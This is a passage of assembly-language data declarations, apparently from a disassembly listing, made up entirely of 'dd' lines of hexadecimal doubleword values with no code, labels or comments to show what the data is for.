0B2525902h, 84E2C08Ah, 0CAA9779Eh, 2331ED03h, 0FDD96771h dd 0C617819Ah, 6ADB07FEh, 13D7E6D8h, 73E337Ch, 651BA83Dh dd 0FED8004Fh, 0E9451223h, 3BF2912Dh, 48A5D9F3h, 0FAD5616Ah dd 0C2010199h, 0C55E736Dh, 0B23DAF2Dh, 0FDC0452Bh, 53FF3044h dd 1F6D788h, 5870BEBAh, 0FC49C378h, 11562D4Dh, 146B5ED9h dd 0EC5CF2A5h, 0EF19645Ah, 7C040235h, 5FEC20E2h, 47440BD6h dd 0D0D3D5B2h, 8AE90EB0h, 6F86B6A5h, 8827AA25h, 8409CB98h dd 9761358h, 0EB900081h, 0B1D98960h, 1CF069BCh, 0F51BD70Ah dd 0F602D266h, 615F1FDEh, 0D3E5D86h, 6AF66710h, 3AD9F410h dd 29E29268h, 0B32A4E0Ch, 33DF07BEh, 0B2463882h, 0F3D43A13h dd 61454082h, 5147E010h, 2A82D5Fh, 35001C70h, 11E60BDEh dd 0B156B5E9h, 20C2654h, 0A0BF8F6Eh, 51C7F941h, 3E5B66E6h dd 4EE9F228h, 342D970Fh, 1E30BB98h, 7D2A38A4h, 0BC4A2033h dd 48B65C58h, 0CC172783h, 50C29E0Bh, 0D883EB07h, 3D4002E1h dd 86AE615Ch, 1E519402h, 81E85925h, 215F1468h, 51B96234h dd 0E7D1517Bh, 9CBCB2Eh, 0C41EC368h, 5F5425ACh, 1370E46h dd 56B937D7h, 0CBE9D84Fh, 0EAB3E660h, 4B865AFh, 0B18A0F34h dd 9E4FA3FAh, 7299E741h, 2D6049A8h, 83DDA806h, 0CF30C0EFh dd 68ED47C5h, 74BF5E0Fh, 0A1662B2Ah, 69A0E900h, 13DBF448h dd 0C17F351h, 82201E3h, 2088D8F9h, 16C5AB48h, 0DAF05FF9h dd 3A94303Fh, 700D6A36h, 4F0C7461h, 0E9C45425h, 0E9DA54FBh dd 39CB63Ah, 234C6855h, 1A7047F2h, 7BD10144h, 7978E5EDh dd 994B4948h, 0D4BF31CAh, 7D598C7Bh, 34F0163Eh, 0CC8B53F8h dd 26A59602h, 5FB8DD12h, 129597D4h, 9FD7294h, 6F3A4B7Bh dd 0ED961D16h, 70E31312h, 2234929Fh, 1DECDFA8h, 5E28525Fh dd 0EC07C68h, 9CE92C94h, 505661B6h, 650E3254h, 60A617A6h dd 20E1824Bh, 88045E2Bh, 0B3280D2Fh, 0A603F509h, 0E684805Fh dd 0F6704874h, 64DA9AE8h, 0D1318233h, 6A69553Bh, 0DEEDCADDh dd 3C7B7535h, 8069E934h, 48F00081h, 0F6720945h, 0D0255F46h dd 0FD3DB5C0h, 0C46704Ch, 2EDE5191h, 0AC30BC5h, 0ABD67906h dd 71CB0C09h, 0AF3788D0h, 436FBF00h, 62BB60F2h, 0FB290B73h dd 0A85D095Ah, 125E58B8h, 0CF603139h, 166D23A1h, 0D068504Dh dd 0C229589Dh, 737600B7h, 9554C30Ch, 20DD1906h, 0D7C84097h dd 88128668h, 0C60151E0h, 5D91700Bh, 1865942Bh, 72881C08h dd 473DE626h, 0FD446712h, 69F2163Eh, 0E9747192h, 427575CDh dd 0F668E5E6h, 102B050h, 2C58C130h, 0B9DCE186h, 25F77234h dd 0E2004ED6h, 0E3D41EEh, 42D07250h, 3E11C813h, 0D9681609h dd 3E8C489Eh, 3736B913h, 0C1E73448h, 7BA9F4C4h, 4B29D798h dd 5817B3F2h, 58CF8B16h, 0D6BB0055h, 0BD2CAE09h, 8B095FE2h dd 4DD2971h, 41BE9E82h, 0DF185725h, 7CB6A466h, 0D27FC01h dd 65E2095Ah, 124E9697h, 0AE5DC430h, 2A687178h, 5AA17AA4h dd 0BD2BC038h, 722C116Fh, 4602771Ah, 0E1F84397h, 812AE90Dh dd 382C8BECh, 25EB80FAh, 90222E7Ah, 4CE70492h, 0FC0115BEh dd 0D50841DFh, 4CB5495h, 0A8530294h, 2E23DCE9h, 68C3C057h dd 389C136Dh, 50F1868h, 21FAA00Fh, 0F43B02Dh, 0D8017ACEh dd 0A07C0794h, 9D108811h, 531271E4h, 3256C5E9h, 832077CAh dd 0F379E92Ah, 2D22BD02h, 0C04D264Bh, 815C728Eh, 84A620BFh dd 0D04F1825h, 0BC4820B3h, 25EAECA1h, 0E32C7A37h, 216997FEh dd 5FD87832h, 0BFC20A83h, 0EA2FA6A2h, 2C9FC057h, 0BC77FE4Ah dd 0F70905A1h, 0F258C3A5h, 0E9EA01C8h, 980D8320h, 0C09540F5h dd 2C03E01Dh, 281698BFh, 81AA871Fh, 2C3FBF5Bh, 6881245Ah dd 2299609Fh, 82545930h, 4025B851h, 9E9BD0CEh, 0CC324986h dd 6920E55Ah, 0F43012CBh, 75FCE85Ah, 0E628520Eh, 0B3042458h dd 71D2C1A1h, 0DA6862F3h, 5167005Ch, 0BF494C9Eh, 28D24AF7h dd 1D41386Dh, 3516C02Ah, 6A4F2505h, 0F510DE0h, 0EBE90D84h dd 3340A997h, 0BA4A3B7Eh dd 0E8F17A88h, 2E349A54h, 19B7E801h, 3EAA9331h, 0B57133D8h dd 1A530389h, 51628A62h, 16F0126Fh, 209AE807h, 7DBA02F1h dd 4A22071Ah, 5D048BDCh, 0C9B1213Fh, 4B136D02h, 2D220D0Dh dd 212EDC26h, 0D9E7C776h, 6841E7F9h, 997B30E5h, 3AA620A9h dd 941053DCh, 0EA12FD62h, 5EB69222h, 0F25C4454h, 897C0F2h dd 5B013A57h, 0D327F2C2h, 50A55416h, 40E60CA4h, 0E95FFA29h dd 0C0CFFE67h, 42800462h, 15408417h, 181AF0A9h, 37A2FE20h dd 0D803EA8h, 0B2FB5A8Eh, 59B5214Bh, 680A8B78h, 0A0532620h dd 0C5D2208Fh, 0DA039BB5h, 689AA19Ah, 914D06BDh, 969376F4h dd 90884C0h, 64B5A820h, 68605DE5h, 5D996FC8h, 409930A7h dd 8089BC03h, 9A17A53h, 24CE1C1h, 64B40685h, 18D00FEAh dd 689B849Ch, 2B9D59CDh, 39B6763Bh, 91E9DA05h, 270BA7C6h dd 2F76EF52h, 73689B59h, 3137860Ch, 5E980BCFh, 0D25E4E85h dd 36B8EF80h, 0A031AA17h, 0B6D021D6h, 16B25BB8h, 6A68F590h dd 0F07F5D27h, 0C38B1035h, 8D1161D4h, 5302EAFAh, 33C2DAE0h dd 4CBA6F05h, 5FBB3FE9h, 14E20521h, 0FB17C17Ah, 5386EE8h dd 0DDBA5445h, 2C764429h, 0F20013BDh, 89C02794h, 5D5A61DEh dd 8309815h, 0B6479E68h, 0B5A463EEh, 8B2B5A4Bh, 0EF835C07h dd 27F7D101h, 0DE09E940h, 18129C54h, 3235BFF1h, 60418B7Ah dd 0CB587A18h, 0BA9B019h, 440F0985h, 41FDC2D8h, 3829E908h dd 95BE0189h, 462EAD0Eh, 0C65EC82Ah, 9BA0528h, 0A4FCE917h dd 8CD3A2FDh, 0F10BF748h, 0F2598168h, 302C9E72h, 97717FC6h dd 5C4D307Bh, 27513B20h, 0F9F84870h, 0FC04B55Fh, 49B1F178h dd 0B5F48860h, 32263E21h, 93D92D51h, 7CA9E967h, 54452535h dd 422DFA35h, 0B5025F60h, 0FE5AC2C6h, 9192D491h, 6C09FB04h dd 1FF2780Eh, 92BAF2Dh, 0EC822901h, 580B428Ch, 0AF515CACh dd 9C0CA607h, 5EF1903Eh, 0C112D9F7h, 0D50105E9h, 703C472Fh dd 5AD4D5E3h, 0D6DE0AE8h, 517D8167h, 324FEE54h, 96931F26h dd 550584Bh, 922740B4h, 8FC15ADEh, 7200F7F1h, 255F5766h dd 0BE110351h, 35484002h, 9616603Bh, 0E5E6C501h, 0B1BA692Ah dd 0BE044BFAh, 0B551005Bh, 70ED80FAh, 59EF2F63h, 30BF72D8h dd 81F24D64h, 3F802FF7h, 163788BCh, 1D30939h, 7B06EBD8h dd 55E2EAFBh, 0E8468025h, 0AB150FE5h, 5AF8892Fh, 0D4BD0561h dd 8205E024h, 7E0B4C8Ch, 29CC5807h, 24850F80h, 9692327Bh dd 0CCE5F587h, 550BB748h, 0E010E95Dh, 1EC6BAF6h, 8907A449h dd 0C3514A53h, 78056885h, 6DCB4CE8h, 566B025Eh, 0FA712DD7h dd 10195889h, 83B09627h, 26C8EE01h, 0F3014F14h, 809AC44h dd 7AA0DC5Eh, 60D18955h, 8390468Eh, 23148CD0h, 4499D194h dd 7E308Fh, 0C05AD1F7h, 801303E6h, 0B8099BC6h, 222045BAh dd 269A8133h, 99E62C01h, 0EBE1386Ah, 62B6EF9h, 4DBF66Ah dd 5207EB0h, 4F26FE4Bh, 5217D9D4h, 0E258E550h, 76C60500h dd 0D02903CEh, 2207A32Dh, 0CF04D396h, 3CE54C4Bh, 0C79F18C0h dd 29852DAEh, 735EAF8h, 6F069D34h, 0F2128h, 0EB805A60h dd 0F7B2522Dh, 694D3FAh, 580AFC4Bh, 0FDBA3BE9h, 7E05358h dd 5B089D4Fh, 5BCFD8C3h, 0ADF6A418h, 2571311Dh, 33E1FABCh dd 0B9B8502Eh, 903F3A41h, 84C9BFA6h, 6F20F27Dh, 4644B54Ah dd 9D4EE798h, 0E10798D2h, 41B2E898h, 78030512h, 80241DACh dd 1650D2E1h, 0CE3D617h, 9B60EFB6h, 166D380Bh, 0B8D8315Eh dd 25AA881Ah, 0B2C17343h, 0D264924Fh, 8F2610D1h, 40830904h dd 62487132h, 25924168h, 62C7E92Fh, 8B656A8h, 0B801A74Ch dd 7D9D6D40h, 92B324E8h, 4BD398D8h, 0F30D1621h, 0C73A7508h dd 0B8BC852h, 2FC9E93Ch, 5ED4D2D8h, 2568FEE0h, 461CB1h dd 0B0A9D47Eh, 8F7720DDh, 0E55F1467h, 23417AF1h, 2BC1B9F3h dd 0ECFB3992h, 266672A9h, 0F4A150C3h, 43D94D2Ch, 141D113h dd 9175A2C6h, 0A7E1D87Eh, 7A777018h, 2F310F4Eh, 0F879DD8Ah dd 4222E909h, 0F8BA6E37h, 0D0924AB1h, 9A768C7Fh, 0F7011816h dd 1084C10h, 4897BB53h, 804231DFh, 624207DAh, 53EBB855h dd 5615C8CCh, 0C7498E40h, 25FA708Ch, 8709ABB5h, 2D860089h dd 4F7A2E4Bh, 0E5FFC75Ch, 6461EED3h, 0CB2EC926h, 10552FECh dd 98505D9Eh, 407505A7h, 81894FB7h, 74ADF768h, 9496FB8Fh dd 74841F96h, 68CF1EF8h, 6FB011EBh, 0C5BF5AE0h, 5AE522F0h dd 778FF176h, 134B04F0h, 9EBE4C7h, 5E2BA2AEh, 468CF953h dd 0FCA3F4Bh, 63350DB9h, 4DA38786h, 2DFC2A98h, 16F750Bh dd 50DA61FAh, 0B5C6A320h, 56963894h, 0DDE95906h, 95BB05C5h dd 0C21CF349h, 2F22272h, 3E8BE383h, 0FF161EF3h, 6757AAE9h dd 4F483EDAh, 0F33904Ah, 68E8C8BEh, 9376513Eh, 0C7B3F364h dd 413DAC50h, 8D403FDCh, 1B5D6CD9h, 80809D89h, 0CDE958C1h dd 0E28E554Eh, 42B8680Bh, 5158EE54h, 6E5809B9h, 730016D5h dd 5DCB4076h, 7AA342B5h, 699180C0h, 0AB22504h, 0BE292185h dd 1C57F103h, 8E2DD22Fh, 0D79FA016h, 2429E1BBh, 0C90A58C5h dd 53D63C42h, 0BAE2D143h, 2F9BD5EAh, 6C8CE6F9h, 9880C42Bh dd 0A3F50B16h, 0CB24747Eh, 39CC3B17h, 48C14039h, 0FD8F703h dd 793C3B83h, 4D89EE22h, 3502E90Eh, 0BB938F45h, 0D7808E4Ah dd 2C6073AEh, 0F0D1899Fh, 0CC32483Dh, 5E520C60h, 9C807CB8h dd 30BD2DB4h, 0EBB71A64h, 76A4CA53h, 0CBFB9723h, 1012185Eh dd 0D7F7530Ah, 65ACB5B5h, 6904D518h, 65497EFBh, 0DE311CFDh dd 92F392h, 0F8FA057h, 0B1934C8Bh, 0CA14059Eh, 56518360h dd 47EF8727h, 4F2D83B5h, 29989373h, 7A205C8h, 0BC709D76h dd 0E4D2667h, 0AF770314h, 0C6FD3B25h, 59713E1Fh, 0AC3312Fh dd 330C36D1h, 40E3F344h, 0E73C802Ah, 0FAF5131Eh, 49D7AEFCh dd 22F8D124h, 4586B8BFh, 6F18D4FBh, 22D42712h, 0F7601803h dd 69CB4E23h, 0AC9EA48Ah, 7002A481h, 5076906Eh, 0E9123AB4h dd 0C0314117h, 1F61565Ah, 5BBB432Bh, 53A06D2Ch, 0FEFA5150h dd 0C0330E95h, 0D9F609B1h, 0A8C13E80h, 0F24D3397h, 0A61A897Fh dd 4F6A408Ah, 12F8B305h, 1EB654F6h, 3E3E294Ah, 0E2B0B946h dd 16B97279h, 1772813Bh, 8174E847h, 0E0A6BDB1h, 4DBA8E1h dd 22E8BA2Ch, 0C25C83D7h, 281C2FF0h, 8097E977h, 8C5B848h dd 0F70600B4h, 242A35D0h, 5045A8Ch, 56853373h, 41E260BAh dd 0C954A4C3h, 0C637E9EEh, 543069A5h, 0B517CC1h, 6DE66856h dd 0EF8343D9h, 0C32CA23Bh, 42AE5CFEh, 0CC515A2Dh, 28EB5CE5h dd 0A51CE91Fh, 260FF8Dh, 5206604Ch, 0D440C631h, 5603BEE6h dd 0EEC12572h, 0A5F6C805h, 1213882h, 7B1AF0AFh, 0CB0D6F9h dd 5A354DE0h, 0E9198162h, 25417FF8h, 5773FBEEh, 5EF9930h dd 7D1F7AA1h, 5D19429h, 0F3575E08h, 0B2EE49F1h, 76FE425Ch dd 67E9C1FBh, 3C557221h, 128E104Dh, 45526827h, 3D58ABF4h dd 5B51817Ch, 0BC800D63h, 4C2F29B8h, 5A4AD709h, 798182F0h dd 157112CFh, 60FDA138h, 31024B22h, 0B3E95044h, 0F1050BAAh dd 5E2990BFh, 7C654B68h, 4CC8B86Fh, 5FC809EAh, 3C0364E1h dd 3E86AACh, 529458E9h, 76C5BD00h, 8170DAh, 57982FEDh dd 5DEF299Fh, 17F742E7h, 564A51D9h, 9CE012Dh, 0A08759CAh dd 61062249h, 0D6E3C143h, 2D35C241h, 0E89F5089h, 5B9A894Fh dd 9CC6E34Bh, 25FA4EEFh, 9D017EE9h, 0BBC82159h, 5A4E7C17h dd 49127A5Ah, 0B0315EC4h dd 56B47F9h, 85215D6Fh, 7344B932h, 9F024641h, 0A0397F1Dh dd 3AEB3566h, 5D3435CDh, 0BD9B928h, 116E897Dh, 0A2665C2Fh dd 2B5D3CEEh, 0E95085D6h, 34094A9Fh, 859B13C3h, 0E0E9F18Ah dd 189D225Ch, 4CFE6B23h, 9720B8C9h, 5B375F4Ch, 0E9C574B2h dd 0BAD35275h, 6B0E7468h, 0A33422A6h, 700B877h, 0CD051ECCh dd 947E57Ch, 9E66692Dh, 0E29F3480h, 113F3ECh, 0BD0458C2h dd 0BF00F2A5h, 44A70AC9h, 3C7DE09Dh, 0BB5835F5h, 0D7C4BC5Eh dd 0E9853BF2h, 0F69EA001h, 33F0DE5Ah, 0E67DE680h, 3C6B76CEh dd 1EE2ADC6h, 8148EDE9h, 642268ACh, 53D32676h, 55CF4010h dd 0BD3C0123h, 2A24127Dh, 4DFA0BBFh, 56BB0802h, 98F414F5h dd 0FD712151h, 2CED8208h, 7C5B07D1h, 0CACEBE21h, 93091D3Ch dd 6C0A0C1h, 0BB8E740h, 22BD6BDCh, 3F0345ABh, 0B1C2E905h dd 578B0151h, 7C289654h, 0D7BF5853h, 9BF6B0D3h, 1FF6CD4Fh dd 0DE3DF710h, 0E57D730Bh, 8C581721h, 0E895052Dh, 5EB6E92Dh dd 97B6E712h, 0C94A4C8Bh, 33CD2A48h, 0B264526Ah, 0A35792C1h dd 0CDD05AB9h, 0F749A804h, 2596B96Bh, 5E0705F9h, 30A6E5B8h dd 4772F702h, 7596E97Ah, 0FEB4220h, 747BB36Ah, 1B9D4CEAh dd 0FC0BCB33h, 6D3A44EEh, 0E38101EEh, 45D9143Ah, 0D2ED85FDh dd 0E9129C6Ah, 1C0AF42Dh, 0F8ECB52Fh, 1761D002h, 71D8F74Ch dd 7BDB2D89h, 797E168Bh, 0D0C192E5h, 0B9EB2824h, 0C7313617h dd 0C45FFAE8h, 0EE68EB32h, 0E92566E9h, 93B0275Dh, 0F1C5E060h dd 4AE52D20h, 53E70F6Bh, 1542CCEBh, 0ABC83EDBh, 5A271210h dd 8CA87A47h, 9C8CE722h, 8F5D4371h, 4A95ED46h, 17B38014h dd 44A6E36Fh, 9E307358h, 58F4C2B5h, 785B1225h, 0D0525E57h dd 4FDF69Dh, 0E72C732Ch, 35B2803h, 69D4101Dh, 0F05001Ah dd 89E120F2h, 0B6585BC1h, 10924C52h, 275BC667h, 557BA291h dd 19971E74h, 955C39F0h, 29FBB5Bh, 5DE245CAh, 0E4CFFF48h dd 67884078h, 121590A9h, 6D13157h, 79ED4E67h, 0D45C4F0Fh dd 49E6447Dh, 25789EBAh, 6445F830h, 0AB013C9Fh, 61557ED2h dd 404B91Fh, 0BB4D2EA9h, 0BC7589Ch, 144A9465h, 0D8989C43h dd 0D60BBE56h, 841E694Dh, 22DC9A1Eh, 8C565EFEh, 5E889F23h dd 7E250048h, 531F337h, 0A3004E1Ch, 0B730D46h, 2A683491h dd 20A8658Dh, 0D380043Eh, 0CB3D5B60h, 0E39E96BBh, 86423ADDh dd 0B6B4573Dh, 64958376h, 0E94BB79Eh, 65680813h, 9DBB3BCCh dd 12D8F791h, 52EA745Bh, 3321EEF8h, 0F5B88013h, 353A0773h dd 7E7A590Bh, 0A1F6C00Ch, 54495C6h, 0EC03C725h, 0CB681728h dd 5A15282Dh, 8BA2CE5Eh, 70925C3Ch, 0C992123h, 20263302h dd 5FCC8383h, 5EC3E017h, 0D969BF99h, 2C372A97h, 40FACFABh dd 2B71E3F7h, 0BE5B2D01h, 0E6734EFBh, 0D1FDDA71h, 43A3948Bh dd 0F0088E73h, 0DF8425E4h, 0F374EF87h, 0C773490h, 3676696Ah dd 24483E57h, 0A52038E9h, 0F6C6718Ch, 754E6E0Bh, 0E23C0055h dd 0F876D94Dh, 25AC77EDh, 0E7D631F5h, 690BF33Ch, 76D44BAh dd 0D925F3BBh, 3C5E20F4h, 25BE950h, 1B0A680Bh, 4DC08D9Ah dd 72D2CB9h, 2C7AD118h, 6856C0AEh, 38BF5F61h, 82261B4Fh dd 0F20448F0h, 0A152E79Fh, 611E4280h, 29310260h, 0A417E9D5h dd 68DB1857h, 0FD3E574Dh, 0E09F855Bh, 3009055Bh, 0CC073815h dd 3C33F982h, 0D7E2AF2Fh, 0A8CF6140h, 4E478F91h, 0D2B0CDC5h dd 40890468h, 0AE5E336Eh, 0F9933404h, 1F5B0912h, 19BEC0C0h dd 6C727112h, 0D6E69DD0h, 0C8E6B85Eh, 0CB201E26h, 7B0F780Eh dd 4988652Bh, 0E9577A90h, 89B360DDh, 84E35CC7h, 4D518E58h dd 0C3311632h, 179F16E8h, 5A53F011h, 0CE78809Dh, 50B72A8Eh dd 0DDCA35h, 0D707316h, 7AF2788Fh, 0FE400501h, 14E9CA17h dd 411C1E6Bh, 3935600Dh, 0B16C702Ah, 0BA8AC697h, 987E3385h dd 76F8F799h, 0DA975387h, 13A0FA0h, 0EFC04555h, 15AC90B1h dd 73FB292Fh, 846813FAh, 0EFB78039h, 0AC5D6F6h, 0EE812CFDh dd 5AD104F0h, 5351C4h, 0E7D046B7h, 0E93FF780h, 0C384372Ah dd 4E0F1139h, 67E3EB80h, 0EC7B7155h, 1A8400F3h, 0DD893286h dd 0EE5A4CE9h, 24F1878Ch, 3A7D5664h, 0BB0DF5B4h, 49FDA912h dd 32B22318h, 6B0D1B6h, 9096F06Dh, 5EBCF644h, 663BB40Dh dd 0FD1243A0h, 0E5805BB3h, 7A90ED80h, 5977E8E0h, 60EEB33h dd 0D7C3E993h, 0B45098C3h, 7EECFC8Ah, 0E1E40295h, 58E9D4F6h dd 0EBB6594Ah, 903D4720h, 14852065h, 758B6812h, 4088A875h dd 59A64093h, 25FA490h, 321016A6h, 0FE3751ADh, 642F0D7Ch dd 0D6F8A47Eh, 0A8FBFC4Dh, 1236B95Ch, 0BAC3D130h, 0CFFE0082h dd 0C4E71C80h, 1003DAC0h, 6336C057h, 0BFBF49E9h, 0F63CC958h dd 0EAC8ECC1h, 0F9AD0EBEh, 980DB4E7h, 553C50DAh, 0F412EB58h dd 687F132h, 503B2F68h, 0A32576C6h, 53051079h, 428C02BBh dd 0E3C12607h, 2C0939E1h, 48894AF9h, 0B4C8882Ah, 8B34DF59h dd 5C368B29h, 0BD1144D6h, 734F7570h, 53B88B8Ch, 0B605DE02h dd 0B3F3887Fh, 0BD523CE1h, 5AF5A7DEh, 0A1949DB4h, 70F50684h dd 0E92EE87Eh, 5A8FB76Ah, 2470EF5Bh, 3190DBCBh, 2768F3C9h dd 4A5A520Bh, 397E7764h, 1D12CDE8h, 0C263EDA0h, 90D3665Ch dd 8281CCEEh, 0E20B91FEh, 0A74BFE07h, 0D2509360h, 0BD40B5B6h dd 9EE0C06h, 5DE8093Dh, 4747B585h, 0F1E5C1C2h, 2B8E890Fh dd 0DA2AB4D2h, 0F7F764EDh, 1747E65Eh, 0E45A9D78h, 988C7713h dd 2A58BE7Ah, 2D8084F2h, 3505F05h, 580C57FBh, 27600588h dd 4F28F148h, 7A3E74D0h, 877E5AD9h, 3108BA5Bh, 50AEE7ACh dd 0D5F7EAF1h, 2408DAh, 0E9014DE2h, 3F05957h, 0C6CBBA4Ch dd 0BA60D2CAh, 4E16CAEAh, 0B4022998h, 0C49EDFE9h, 3CE42A3Bh dd 204738E5h, 10A44609h, 2420EFECh, 0E18013EAh, 0CD38C18Fh dd 0C299AA9Ah, 61A4F9Fh, 4F3F6968h, 5AC0820h, 3953F02Dh dd 5E7EC066h, 14219B46h, 30626D29h, 0FDA48C72h, 4A5EF327h dd 44CDE234h, 9BC82455h, 0D906AFDFh, 9650ECE7h, 98BF5FAEh dd 4D20E986h, 0C03B13AFh, 19110698h, 0F282809Bh, 323C49F3h dd 71080D05h, 2408FB2Ch, 245C25F3h, 3EA00408h, 43C48213h dd 8AEE8B6Eh, 0B40605C8h, 52C1400Fh, 2B396EBAh, 39DB5C02h dd 69E9C684h, 9373EF93h, 787C50D3h, 8A805E54h, 5F125C76h dd 5304F2A6h, 0E2297168h, 0B4DD94FAh, 0C36260EAh, 0B65C2FE9h dd 0F9B5A740h, 63FD7C94h, 22B068C3h, 0D0342512h, 8AF88ACDh dd 0DF98950Fh, 37CE0674h, 5B10B117h, 0A9294B96h, 0C224C73Dh dd 38688454h, 0C601A83Fh, 244751A8h, 0BDB42F4Fh, 0D80DB693h dd 30296831h, 0B6161D2Fh, 0BDE8AA8h, 54F62F90h, 9B7F3C9h dd 9C9A140Bh, 0F8F45963h, 0F84B2D27h, 21791F51h, 0E3960B77h dd 0A5893D76h, 496CF4D3h, 442C6024h, 24BF7F6Ch, 8C43C26Bh dd 59122C51h, 0E625BE75h, 4C01B9FDh, 146395Bh, 668D6A6Ch dd 0F05D0C02h, 2A68128Eh, 0ED779D59h, 0FDB1001h, 0A6E5B8Eh dd 0EE4357h, 195A1E3Bh, 0B297CEE9h, 0C04A1807h, 565B8083h dd 0CBFE8939h, 0BAF91517h, 0E9555905h, 41F5F13Ah, 2BDAE097h dd 5827DEA3h, 0F1524C54h, 0BEE24996h, 58005594h, 12BF5756h dd 23F6D71h, 34091FBEh, 4262E931h, 2F6145B2h, 8B02694Fh dd 958E347h, 0ED5BA444h, 46896D0Fh, 29252602h, 820F85Eh dd 21E5F60h, 979C0308h, 657CBE09h, 0C11E802Dh, 12310AE8h dd 0BEE168C8h, 0DEB98335h dd 52971737h, 12D5EDBCh, 58847C28h, 0B69A8797h, 5EFCC138h dd 28CFA3E2h, 6381536Bh, 5CD78860h, 0F7058024h, 8B1E998h dd 0E0C098D2h, 0B5E4A226h, 5897A3C4h, 55E697A6h, 9038C320h dd 2DD263B7h, 3C178F66h, 36657E10h, 0EFB68957h, 835BB997h dd 163CFC68h, 91497CE5h, 6F91D9C3h, 0CA56B67h, 0FB9B5B0h dd 37D04061h, 4DC9FA4Bh, 3BCC3AECh, 0C494BD1Fh, 7B960620h dd 20C31E80h, 21DE9BD5h, 247DACF9h, 45F85BD4h, 2D4B2AB2h dd 257AD1A9h, 74DBAEE3h, 6C2B9EC2h, 9B692F70h, 98226693h dd 2C62717h, 184B9EF1h, 997D6567h, 0A618BC83h, 21EBE9C0h dd 26148D33h, 144FEEFh, 45B6525Ch, 2B6DC668h, 76E9DE30h dd 0BA42A8D2h, 72092E31h, 690F8031h, 0D2F72918h, 0FE90DAE4h dd 6B825730h, 2E40C7EAh, 10DE32F4h, 8BB901BCh, 895A584Dh dd 0A50F052Bh, 0BA4D02D4h, 8760F677h, 66970114h, 58ED00B0h dd 0CD81150Eh, 0C8731E4Ah, 94F7E19Fh, 7A528D2Eh, 28EF21C5h dd 21C75CEFh, 6213E9F7h, 0C27502F2h, 6EA81941h, 8A0EEF4h dd 7CC01CC1h, 928853E1h, 0F022324h, 489C8288h, 82A504BDh dd 3C60C260h, 78215527h, 425004DAh, 87E5C162h, 0D9C83473h dd 0FCC944DDh, 535E2F5Ch, 0D95E69E5h, 0CBF1FB44h, 0E3E8FF55h dd 5BBA8050h, 0F6FA310Ah, 9793A49Eh, 48843F16h, 16531B25h dd 3F2C3300h, 581639Ah, 0E10F10C9h, 2F3CC149h, 0E9720780h dd 95CF2A3h, 690A53E7h, 0BF48660Fh, 12EAB924h, 0EE95483h dd 0F4204FF5h, 0A94153E3h, 7913C232h, 603DBE2Dh, 2E4C1429h dd 0C2C9D349h, 0E0DCBEE6h, 0D91D1258h, 600FB55Bh, 84942C7Ch dd 0F8514225h, 138D0886h, 0C35011Ch, 6ECC2C7Fh, 9A910AC5h dd 9A37E78Ah, 0FB7E4A19h, 0AB5DC4CAh, 2D683C3Dh, 827FD136h dd 28437C98h, 0E9055256h, 88A3386Bh, 428F6809h, 878CEAF9h dd 95DA632Fh, 69520CA2h, 798E059h, 4CA7E9ADh, 5CCAAEDFh dd 4B212D23h, 486F095Dh, 3627E9A2h, 0A7547B9Eh, 0EEB38170h dd 41DC6806h, 0C362563h, 0A4F66F2h, 4CA7B1A1h, 5A9F0256h dd 90F1F212h, 0E13D0C88h, 8739FB28h, 0B5CE3DD1h, 9C015103h dd 2D205566h, 5D6527EDh, 78BF2D6Eh, 0CB01C1D4h, 2BF3E9h dd 0CB02D54h, 55A7EB1h, 917F45A5h, 5591E965h, 0DFD5FDEFh dd 0F2F84E49h, 0C97A904Ah, 42D6D129h, 2090F1Ch, 56F44001h dd 0D2DA5E68h, 38F42942h, 0BC89AB89h, 496298D3h, 5D2D029Dh dd 0D4480CD9h, 0C229764Bh, 131AD4E2h, 4337E187h, 6F3C893Eh dd 0B62CAF9Ch, 59E9848Dh, 6A5AC9F7h, 0CBAEE0C4h, 6892503Fh dd 0CF758331h, 0C05A1274h, 4D70B2Eh, 0BE2FDE85h, 0C1819BDCh dd 3A67395Ah, 0ED16E72h, 2C3F08CAh, 0BD9EAD8Fh, 0F0DC133Dh dd 45328BBh, 8104CB74h, 0F65E2CE1h, 0F3962CC1h, 0A87E3588h dd 7A0F4817h, 0F2A4C407h, 0D7168AADh, 0ED239DE5h, 4E276C2Fh dd 8E10F1B8h, 58B9024Ch, 60627838h, 9488ACD9h, 472C8B9Dh dd 3C7F3549h, 0F6F05E5Fh, 4EABFA7Eh, 0F7DDC006h, 0C29C52D3h dd 18ECE941h, 49F2F58Eh, 0B31F1127h, 9776EF82h, 6D2EF103h dd 0C7C1294Ch, 0BE35082Ah, 3CE77384h, 8D100A52h, 10B701B5h dd 0E7C0D7F6h, 8943FE88h, 0EAF48003h, 7F01CA53h, 0E8E07FA4h dd 0BF57C04Ch, 5B55EAFh, 0E9F8297Eh, 1046A932h, 6604BB13h dd 0BE0A9268h, 6415EC22h, 2E2C3EDEh, 0A4B35303h, 93F2D828h dd 40D53DCh, 283A12FCh, 5900B1E8h, 0F186C9FEh, 29E9E630h dd 0BAE4C1Fh, 2DBB622h, 480BD4A4h, 584D5AC8h, 0AF2C2B05h dd 77BD4053h, 5F17422Ch, 4B13EA89h, 0CA808D42h, 5ADD6A47h dd 0D3EC200Ah, 4A626876h, 56179D15h, 7EF6E999h, 420A8B69h dd 0C2EDD681h, 2244D958h, 1C5801Ch, 848FE5C9h, 9DFAD224h dd 339E2061h, 6A8EA1A9h, 0B4501700h, 73ECC039h, 0E8E45A02h dd 0FE7909D0h, 112A84CCh, 7A5BA212h, 5B9DBC30h, 7AFA71F2h dd 16B84A2Ah, 0F48DE997h, 7EEFD144h, 67666802h, 958B81A5h dd 3913F0AFh, 0B7D1A740h, 536CAA80h, 0F0C31D7h, 6113D983h dd 0A18009F3h, 0ECF010E9h, 270FADB0h, 0E00ADC34h, 0FF37FEEDh dd 0B0ECB71Fh, 2B04CB72h, 35E95D5Bh, 2E17D3F9h, 5ABABD78h dd 153C02D7h, 2A35075Ah, 516E5E17h, 0A6F80243h, 1D07ED56h dd 0BBF0FD3Eh, 27AF48E1h, 36F02955h, 5DC410E0h, 9AEB44CBh dd 9FA25B42h, 0BC508296h, 7DD5F702h, 0C5815300h, 0D87E9DC2h dd 5C3C899Dh, 73680569h, 8EDFFD56h, 2F0B243Fh, 848161FAh dd 8F0F01A4h, 0D127FEF9h, 0D621DF10h, 0C209CF21h, 0C47A7CF9h dd 0E8A566A9h, 0F75B930Eh, 0D0D84BD0h, 7E5C3993h, 80360131h dd 897F3DADh, 0C74FE8CEh, 0E56FC448h, 87BFF950h, 55C04DF5h dd 0DF0A8C68h, 0CA2E1331h, 735F2DDFh, 73D025E1h, 0A7C47E5Bh dd 6826F7F3h, 50C06488h, 0AEC110B4h, 